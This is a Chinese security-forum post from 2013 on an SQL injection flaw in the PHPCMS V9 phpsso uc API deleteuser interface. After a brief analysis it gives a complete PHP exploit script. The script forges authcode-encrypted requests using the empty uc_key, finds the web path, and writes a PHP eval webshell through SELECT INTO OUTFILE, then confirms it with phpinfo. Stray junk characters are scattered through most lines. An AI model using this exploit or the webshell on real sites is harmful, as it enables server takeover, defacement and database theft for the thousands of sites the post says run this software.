找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1910|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。8 }; J9 `  F7 U7 x2 c+ x
+ D9 o! P# h, t7 X- a/ `% b
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
  T1 I& r6 J. a$ v
% P5 I! X( \* z5 |* u9 s- m$ y) f- T漏洞分析:9 }8 n. F9 a3 _2 F  w
1.未启用ucenter服务的情况下uc_key为空
6 j, k7 k# g3 O8 |, pdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
8 I4 J6 e5 Y6 f% ]- F2 I+ m# V' h# |2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
/ I/ J. _  {. g: n! g( }+ N+ H    public function deleteuser($get,$post) {
/ j  [. l/ t. Z6 u% [/ e- G+ T        pc_base::load_app_func('global', 'admin');
6 W2 m8 T0 N9 I1 {; s: z* o& r        pc_base::load_app_class('messagequeue', 'admin' , 0);
: A, y+ A) T* `# S7 P        $ids = new_stripslashes($get['ids']);+ M! {; K2 y! W' A# T& q; m4 K4 `
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
5 c! B4 H& V' G4 h# Q+ PSQL语句为, v# t& ~1 @! S  y* g1 `3 |1 p
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
; ?5 U7 e( v/ D1 u" _, S+ w
2 I, G* \* m6 n6 N利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
+ h* S8 P4 l( |: G<?php- _- f8 ^- H% P2 q7 V' p
print_r('
6 G8 p- ^7 L+ G0 [4 U* V---------------------------------------------------------------------------
+ S& {5 @* O7 n$ V7 ~, y+ o! ^- kPHPcms (v9 or Old Version) uc api sql injection 0day
. Z5 q0 z7 |, W6 U8 u. C, J3 u+ fby rayh4c#80sec.com
0 @; k) t: K; w---------------------------------------------------------------------------
! K  ?5 d, Q# g; p3 J');1 s5 w+ A' S: m9 J# ~. ?- y* f2 V2 t

! `5 r# U2 G5 c6 }3 T$ Yif ($argc<3) {; U6 R' y" U5 O- p
    print_r('/ W4 ]' I6 x2 O& j+ C: i: I$ F7 J
---------------------------------------------------------------------------$ p! K" J0 Y$ [/ U" Q
Usage: php '.$argv[0].' host path OPTIONS
1 }6 c) @, ?! A9 a0 q1 ~8 Q$ ]) Yhost:      target server (ip/hostname)
( n; F; L8 x$ I, o) ^5 q6 _( n4 v) Apath:      path to phpcms
/ p4 ]; H2 L. Y1 W  D1 e- x+ @+ MOptions:4 ~3 C7 H( I. j5 J7 i
-p[port]:    specify a port other than 80
6 G# N: P" `# F. i. [+ ~ -P[ip:port]: specify a proxy0 t% x8 p9 Y( w: f7 C
Example:
# S7 j, D) k: ?" Tphp '.$argv[0].' localhost /, ?$ ?" V% F" Z: @/ m
php '.$argv[0].' localhost /phpcms/ -p81
" A3 Q) P& _0 W2 Z# x- Nphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
* {! b/ y, E: e' Q---------------------------------------------------------------------------7 _) g9 l& ?. E2 r: _0 B! C3 y
');
. W+ j: ]* ]3 q$ O% g& j    die;6 x$ g' L1 ~# G6 ?
}8 R( X9 s% }0 k/ s. V- u
3 N2 @# M1 K/ T. n/ u. W
error_reporting(7);
9 W% S! W* a( \6 v8 u* p6 a# X  x- G4 Aini_set("max_execution_time",0);$ j8 ?6 {: T2 a8 }% {
ini_set("default_socket_timeout",5);  P2 ], @3 ], e( I. m% u3 Y

" S' X+ p) r: C1 d1 Vfunction quick_dump($string)" `5 I" u" v) D
{( I1 f9 K9 J8 S
  $result='';$exa='';$cont=0;1 ]! K5 u* p# a4 z1 P
  for ($i=0; $i<=strlen($string)-1; $i++)
" s, S0 R+ x& c; R2 H2 J  {' P0 j$ k5 h! U9 _
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
* B1 k3 l8 Y9 [' T) _# u   {$result.="  .";}
" _3 Y. L* S) i. W0 Q  i- q   else
6 T: x0 f: T, ~; ~, i; V9 |3 O5 S   {$result.="  ".$string[$i];}
$ s0 ]& v8 h% D& P7 D. A0 g" C3 M   if (strlen(dechex(ord($string[$i])))==2)) M: X* T7 X. t0 }
   {$exa.=" ".dechex(ord($string[$i]));}
# e" B; Y( o5 k4 D   else- a1 g! z( L9 C4 P, C0 E9 I
   {$exa.=" 0".dechex(ord($string[$i]));}
$ A' t9 f% s9 C$ ?$ I6 R. _   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}$ d8 z: W: Q# i) _
  }; T, @$ F9 T6 A. e9 y" V
return $exa."\r\n".$result;
% _3 F+ h* b1 a: _2 d" u1 x}
. r! C$ c; ~# B# Y: a$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
3 Y2 k3 t* E* f2 v( L  u
( t! Y( e0 u. Afunction send($packet)
$ M2 T' t. B: w& `/ h; @& C{
0 X$ p$ l  v* l3 k* g  global $proxy, $host, $port, $html, $proxy_regex;- j8 y+ u) m* d6 s6 h/ J
  if ($proxy=='') {
. W) K, q" B( E    $ock=fsockopen(gethostbyname($host),$port);- P6 i! V! |7 p+ n- ]& ?6 _  {4 m5 X$ L
    if (!$ock) {
3 b' y( F* b. n! m      echo 'No response from '.$host.':'.$port; die;
8 f- C, @) U% ]/ P4 o    }
; B6 C* e5 q, G5 G4 y, E1 v  }+ n$ h! E  ^  z& }
  else {
4 V$ v0 t# K: h, N5 B7 f0 v        $c = preg_match($proxy_regex,$proxy);
! M0 l! t' @/ C7 L; W! U; H    if (!$c) {( l9 _# @4 O2 w! C/ b1 e
      echo 'Not a valid proxy...';die;  D* @2 R9 E- B2 `
    }4 d) m# i0 j. Z6 U' N1 Q, x* e
    $parts=explode(':',$proxy);* o# k, F8 u7 H
    $parts[1]=(int)$parts[1];
' w$ F- h1 L# K( p" g8 C% u4 P    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
8 v6 C2 X8 {2 }2 `: k8 z/ J8 T    $ock=fsockopen($parts[0],$parts[1]);
0 R' G4 Z: D: U8 T- I    if (!$ock) {
2 _1 J9 E/ m# t; F+ |) \      echo 'No response from proxy...';die;
, @1 E& |9 s0 z% G+ `6 b# L        }. k7 J: A9 D5 x9 P, R  U$ i
  }
) {. U" @' t1 Y- X. _  fputs($ock,$packet);# W5 S6 [1 e; p
  if ($proxy=='') {
: K5 K& a  q1 Q& e# }5 r6 ^0 Y    $html='';
, a, U5 ~$ H7 |' z- g: b* x- B    while (!feof($ock)) {
. B( m5 d/ Q* H5 e- v% b      $html.=fgets($ock);7 ?. a* r7 Q0 m/ T. ]. ?! l
    }0 o- }% V& f6 Y% Z5 e
  }
( V+ ~3 y7 U7 I) M: y) u  else {
4 O" O! N, O. p3 M* d    $html='';. E7 M7 x7 D. b# M2 r) r. Q7 s4 S
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
" W0 ?6 f( p2 Z' p% x      $html.=fread($ock,1);: C* t. s4 Z! s
    }4 ^- N$ s  z3 Y' i
  }
3 q4 _4 ?6 g- |  fclose($ock);' _8 L% _0 q  s3 N/ n) b
}( L, i2 @1 P5 {) f

8 M6 e) C) D% k2 G$host=$argv[1];$ T1 p' H( j0 P$ J
$path=$argv[2];$ M# f) f" K( C: @5 m; D- X
$port=80;' B" m$ z, X4 H! _1 A; h
$proxy="";
  h+ u1 a8 v1 M0 a# j1 U/ z9 hfor ($i=3; $i<$argc; $i++){0 m, i. \2 i$ W/ S& p
$temp=$argv[$i][0].$argv[$i][1];2 y2 a& F) x! \1 U
if ($temp=="-p")  y; d: J& ?" b# h
{7 g# g3 b& r7 |  \! V
  $port=(int)str_replace("-p","",$argv[$i]);1 o; [0 b1 B# S- H$ F0 T. [
}+ U! H9 Y1 ~# y
if ($temp=="-P")
3 ]7 J! u4 \: v) g/ o( E{
% w7 ^4 C9 T  Q6 C. U8 J  $proxy=str_replace("-P","",$argv[$i]);( M) H: C, u8 k# p. I) i2 T# J( `
}
2 V" i$ |% Z9 o5 {( r1 W}
% @  n4 a5 i1 ?& I# O% _# ~& L  i+ Y, h: r9 s
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
, h; S8 r2 u- Q2 Wif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}4 i2 v5 E  r# ]. q
9 r& b) V- U. M& }8 k) _$ s- O9 M
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {1 G/ l- c( @- X+ K: B
  {$ R& m+ d2 D4 V& q5 H
    $ckey_length = 4;
& ^) M* V+ L- B$ a2 G; |1 C; A
" @" }# l4 p5 S2 `( J. }- v4 ~5 q    $key = md5($key ? $key : '');
7 g1 k% X  J" u( K" a    $keya = md5(substr($key, 0, 16));1 d; d  I1 M  d2 u6 S
    $keyb = md5(substr($key, 16, 16));% f; w" H' Y, t0 e
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';1 ?9 K# x* x7 t& f

) V/ ~$ ]0 u8 ?9 h/ R    $cryptkey = $keya.md5($keya.$keyc);
2 P: y' w. B  h- W% A) \. H$ L    $key_length = strlen($cryptkey);
% p; J5 C6 R( X. W4 _1 T- c) X2 M1 f' c; k: N  \" _8 a
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
' x6 \  J6 ^# q    $string_length = strlen($string);
0 d- P: W7 ]5 [9 p  D
" @% q/ B4 ~; F8 m/ v0 b* S6 G    $result = '';! F# d* r9 W: h# a1 L
    $box = range(0, 255);' S9 M& m3 ~5 i- O) @. G
* P8 V/ Y; a) e3 @; {6 ]! s# |  B
    $rndkey = array();
  Y4 L* v; M% K& L2 u; Y+ z    for($i = 0; $i <= 255; $i++) {
' ^% ^/ I/ R, H0 Y( f        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
1 D  G& l- h: Y) {5 o5 N+ Z. h    }: h  e5 R; e: m; f, ]

, w' o1 M& B4 Y( U4 j    for($j = $i = 0; $i < 256; $i++) {$ T5 t9 x& ]" K: x2 D9 Y
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
4 T( W5 j/ n; `5 E        $tmp = $box[$i];& D* O! `8 l% b. X
        $box[$i] = $box[$j];6 s7 L; p/ O; Y4 N8 q- }4 |0 Y2 y5 ?
        $box[$j] = $tmp;
& h5 I* H( f  {) [    }
/ a, s' S2 [9 t, \! a3 Z( A7 |* k* y# |3 r
    for($a = $j = $i = 0; $i < $string_length; $i++) {' [8 E) N$ y2 Z" V. \; Y/ a
        $a = ($a + 1) % 256;) ?! [# v& D/ p- V2 k
        $j = ($j + $box[$a]) % 256;
1 G3 D) Z2 S4 \; m" u$ s        $tmp = $box[$a];
# O9 l( f0 Q+ u9 G3 ~; c' ~        $box[$a] = $box[$j];/ G6 G" s( |' @/ z" Y
        $box[$j] = $tmp;
5 N5 G: T5 i( y! @7 R* G        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  v5 v+ K9 ]0 m    }
* ]# U" _0 C  W2 u8 e7 b
; C# I* Y& ^! q$ P2 z" k7 n    if($operation == 'DECODE') {
: T2 F7 A5 h7 ~        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
: D, h6 g( O- G6 u; L            return substr($result, 26);
1 ~' v4 i1 ^- `# A        } else {# l5 D) I0 g2 O( y! n5 |
            return '';
5 W6 M: ]# F6 J& m: C- g  r+ y        }
/ `& o) g. v. T) f    } else {
+ _( g# z- U! e9 U! |# ]        return $keyc.str_replace('=', '', base64_encode($result));
' g) u: t! R$ _8 `! E$ l* w  Z    }
! i1 I: l% `6 r3 R# @6 Z- v2 U) J: K* |+ S1 ]
}1 E7 k& @# O/ k; ~6 \, Q

6 G$ ?' j+ h4 S& R! A, {$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";" ^7 G: i1 s' s! @, D! U
$SQL = urlencode(authcode($SQL, "ENCODE", ""));! b& K1 V, A- Z% z& E3 X
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";4 V8 `5 i1 w" c% J2 p, Z+ r: S) ^& `
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
; g! f4 \& J, Y4 q7 T$packet.="User-Agent: Mozilla/5.0\r\n";
* _2 t* F9 [7 o, E  ?$ u$packet.="Host: ".$host."\r\n";
8 o0 `0 D) k, V* E% k5 c$packet.="Connection: Close\r\n\r\n";( I- S) S: ]& D4 M" Y/ N
send($packet);% O! z" K: k7 K
if(strpos($html,"MySQL Errno") > 0){
. A/ {& X! J6 J' H% H6 decho "[2] 发现存在SQL注入漏洞"."\n";2 \' N* v' }+ K# j: v  W
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
$ C& a4 {. P. |' A& }" _# @9 C3 Y$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
  K% o0 C4 T2 q" C# X3 p$ h: z9 ]$packet.="User-Agent: Mozilla/5.0\r\n";6 D$ K& B1 q  E
$packet.="Host: ".$host."\r\n";: a1 M6 l2 o! X. R9 J& G' u( u; g6 Q8 Q
$packet.="Connection: Close\r\n\r\n";
- T/ e  }$ b4 Lsend($packet);/ R* l; K3 c! `6 ^2 D3 u! h
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);- [. M/ B. X2 c# H
//print_r($matches);3 H! a$ D/ {, Z4 o4 Z+ _$ N7 C
if(!empty($matches)){4 I. ~* x4 ~8 c" @6 j. s$ I5 Y
echo "[4] 得到web路径 " . $matches[0]."\n";8 n8 j" D0 h" m8 C: ?$ n
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";* M+ Z# n# E3 v/ R  P
$SQL = "time=999999999999999999999999&ids=1)";2 J. A& R. j) z- c
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
" E6 J/ }5 _6 b! S. m4 u) d$SQL.="&action=deleteuser";
8 n. l# h# K% K, D$SQL = urlencode(authcode($SQL, "ENCODE", ""));
. r# q+ {* t+ d  d8 R2 N3 Y3 O7 ]echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
+ n4 V4 n! r! W4 N' \2 r* R8 G$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
+ Q4 a7 k" t' k! ^& E4 C$packet.="User-Agent: Mozilla/5.0\r\n";, Y" {! W8 n- v& r
$packet.="Host: ".$host."\r\n";
$ `6 g3 |; m/ \8 p- h  v$ o$packet.="Connection: Close\r\n\r\n";
5 f( \- Q( ?( \  H/ Msend($packet);! q) a0 U( ^8 t% G" Q/ M
if(strpos($html,"Access denied") > 0){. Y$ y# v6 a' c" m( Y
echo "[-] MYSQL权限过低 禁止写入文件 ";5 K$ X6 W/ ?& [# K" R1 T- z) ^
die;8 A- d5 F. \2 |
}9 o$ U2 v" ?5 ^
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
  W& k+ _# b. ~) o2 P  D5 S$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";! j( ?/ q: U3 D4 I
$packet.="User-Agent: Mozilla/5.0\r\n";
* B1 ^5 C1 j) T- s$packet.="Host: ".$host."\r\n";
  s4 O. B1 Q% j+ m5 b" m$packet.="Connection: Close\r\n\r\n";
* `9 R/ w3 {% Z3 ~. S2 z& nsend($packet);
# k5 i# O* B/ N$ Z& gif(strpos($html,"<title>phpinfo()</title>") > 0){& o8 @: Z; e8 [* u) i% r
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
- Q% q' N2 |8 t) y}
( l0 O1 K$ O. t# Q6 U1 U}else{: s  S6 j( p' `
echo "[-]未取到web路径 ";3 s6 K( N7 a) F5 a' G
}4 r5 S; u1 U# t- q
}else{
: F, W2 d, N: x9 y+ _8 `* kecho "[*]不存在SQL注入漏洞"."\n";
8 }! @, g6 }, p2 t. h7 a}, B4 l: l  ?( \6 V* }) k' z
# n3 C" v5 r( q
?>
/ S! G$ _/ g! o+ l, h- w5 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表